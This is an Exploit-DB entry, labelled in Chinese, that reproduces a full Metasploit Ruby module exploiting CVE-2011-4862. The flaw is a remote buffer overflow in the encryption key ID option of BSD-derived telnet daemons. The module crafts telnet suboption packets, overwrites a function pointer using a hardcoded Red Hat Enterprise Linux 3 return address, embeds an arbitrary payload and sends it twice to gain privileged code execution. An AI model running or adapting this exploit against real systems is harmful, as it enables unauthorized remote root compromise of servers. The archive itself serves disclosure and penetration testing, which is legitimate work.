标题: Linux BSD-derived Telnet Service Encryption Key ID - Remote Buffer Overflow (Metasploit) EDB-ID: 18368 CVE: 2011-4862 类型: REMOTE 平台: LINUX 发布日期: 2012-01-14 漏洞利用脚本: ##
# $Id: $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking
 
 include Msf::Exploit::Remote::Telnet
 include Msf::Exploit::BruteTargets

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Linux BSD-derived Telnet Service Encryption Key ID Buffer Overflow',
   'Description'    => %q{ 
     This module exploits a buffer overflow in the encryption option handler of the
    Linux BSD-derived telnet service (inetutils or krb5-telnet). Most Linux distributions
    use NetKit-derived telnet daemons, so this flaw only applies to a small subset of
    Linux systems running telnetd.
    },
   'Author'         => [ 'Jaime Penalba Estebanez <jpenalbae[at]gmail.com>', 'Brandon Perry <bperry.volatile[at]gmail.com>', 'Dan Rosenberg', 'hdm' ],
   'License'        => MSF_LICENSE,
   'References'     =>
    [
     ['CVE', '2011-4862'],
     ['OSVDB', '78020'],
     ['BID', '51182'],
     ['URL', 'http://www.exploit-db.com/exploits/18280/']
    ],
   'Privileged'     => true,
   'Platform'       => 'linux',
   'Payload'        =>
    {
     'Space'       => 200,
     'BadChars'    => "\x00",
     'DisableNops' => true,
    },
 
   'Targets'        =>
    [
     [ 'Automatic',  { } ],
     [ 'Red Hat Enterprise Linux 3 (krb5-telnet)', { 'Ret' => 0x0804b43c } ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Dec 23 2011'))
 end

 def exploit_target(t)

  connect
  banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s)
  print_status(banner_sanitized) if datastore['VERBOSE']

  enc_init      = "\xff\xfa\x26\x00\x01\x01\x12\x13\x14\x15\x16\x17\x18\x19\xff\xf0"
  enc_keyid     = "\xff\xfa\x26\x07"
  end_suboption = "\xff\xf0"

  penc = payload.encoded.gsub("\xff", "\xff\xff")
  
  key_id = Rex::Text.rand_text_alphanumeric(400)

  key_id[ 0, 2] = "\xeb\x76"
  key_id[72, 4] = [ t['Ret'] - 20 ].pack("V")
  key_id[76, 4] = [ t['Ret'] ].pack("V")

  # Some of these bytes can get mangled, jump over them
  key_id[80,40]  = "\x41" * 40

  # Insert the real payload
  key_id[120, penc.length] = penc

  # Create the Key ID command
  sploit = enc_keyid + key_id + end_suboption

  # Initiate encryption
  sock.put(enc_init)

  # Wait for a successful response
  loop do
   data = sock.get_once(-1, 5) rescue nil
   if not data
    raise RuntimeError, "This system does not support encryption"
   end
   break if data.index("\xff\xfa\x26\x02\x01")
  end

  # The first request smashes the pointer
  print_status("Sending first payload")
  sock.put(sploit) 
  
  # Make sure the server replied to the first request
  data = sock.get_once(-1, 5)
  unless data
   print_status("Server did not respond to first payload")
   return
  end

  # Some delay between each request seems necessary in some cases
  ::IO.select(nil, nil, nil, 0.5)

  # The second request results in the pointer being called
  print_status("Sending second payload...")
  sock.put(sploit)
  handler

  ::IO.select(nil, nil, nil, 0.5)
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/18368